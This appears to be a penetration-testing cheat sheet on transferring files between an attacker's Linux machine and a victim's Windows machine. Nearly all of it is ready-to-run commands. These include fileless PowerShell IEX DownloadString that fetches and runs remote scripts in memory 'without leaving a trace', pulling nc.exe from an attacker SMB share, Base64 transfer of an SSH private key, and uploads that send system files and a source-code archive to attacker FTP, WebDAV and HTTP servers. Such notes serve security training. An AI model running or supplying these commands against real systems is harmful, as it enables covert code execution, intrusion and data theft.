Windows

PowerShell Base64 Encoding and Decoding

If we have access to a terminal, we can encode a file into a Base64 string, copy its contents from the terminal, and perform the reverse operation, decoding the file back into its original contents. This is useful when a network cannot be used to transfer files directly

Arch Linux Machine (Attacker)

  • Calculate the MD5 hash of the file you want to transfer
terminal
md5sum id_rsa
  • Expected output:
txt
4e301756a07ded0a2dd6953abf015278  id_rsa
  • Encode the file in Base64
bash
$ cat id_rsa | base64 -w 0; echo
-w 0 : to ensure it is on a single line

Victim Machine (Windows)

  • Create the file from the Base64 string. Use the following command in PowerShell, replacing <cadena_base64> with the encoded text
powershell
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<cadena_base64>"))
  • Verify the MD5 hash of the received file
powershell
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
If the hash matches the one on the attacker machine, the file was transferred successfully

PowerShell Web Download

Be careful, it does not download it directly to the PC

DownloadFile (Basic)

powershell
(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')

DownloadString - Fileless (IEX)

The term fileless suggests that a threat does not come in a file, but instead uses legitimate tools built into a system to execute an attack. Operating system functions are used to execute code directly in memory
powershell
IEX (New-Object Net.WebClient).DownloadString('http://<ip>/script.ps1')
This stores it in memory and executes it directlywithout leaving a trace on disk

PowerShell Invoke-WebRequest

It does the same as the other commands but is slower; it is better to use iwr, curl, wget
powershell
Invoke-WebRequest http://<ip>/script.ps1 -OutFile script.ps1

Possible Error (Internet Explorer)

Errors may occur due to Internet Explorer; bypass them using -useBasicParsing
powershell
Invoke-WebRequest http://<ip>/script.ps1 -UseBasicParsing | IEX

SMB

Attacker Machine (Arch Linux)

terminal
sudo impacket-smbserver share -smb2support /tmp/smbshare
  • share: Name of the share that will be used to access the server.
  • smb2support: Enables SMBv2 support.
  • /tmp/smbshare: Path on the attacker machine where the files to be shared are located.

Downloading Files on the Victim (Windows)

txt
copy \\192.168.220.133\share\nc.exe

Issue: Access Blocked by Security Policies

In recent versions of Windows, unauthenticated access to SMB shared folders is blocked.

Configure SMB with a Username and Password

terminal
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Mount the SMB Server on the Windows Machine

txt
net use n: \\192.168.220.133\share /user:test test

FTP

Configure Attacker FTP Server (Arch Linux)

terminal
$ sudo python3 -m pyftpdlib --port 21

Windows File Download

powershell
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

Using the FTP Client

If you do not have access to an interactive shell, you can create a file with the necessary FTP commands and run it automatically.
txt
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

Upload Operations (reverse process)

PowerShell Base64 Encode & Decode

powershell
[Convert]::ToBase64String((Get-Content -path "C:\Windows\System32\drivers\etc\hosts" -Encoding byte))
On the attacker machine (Linux), decode the string:
terminal
$ echo <base64_string> | base64 -d > hosts

Transfer via HTTP Server

terminal
$ sudo python3 -m http.server 8080
powershell
IEX(New-Object Net.WebClient).DownloadString('http://<ip>/PSUpload.ps1')
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

SMB / WebDav / FTP Uploads

WebDav:
terminal
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
txt
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\
FTP upload:
terminal
$ sudo python3 -m pyftpdlib --port 21 --write
powershell
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')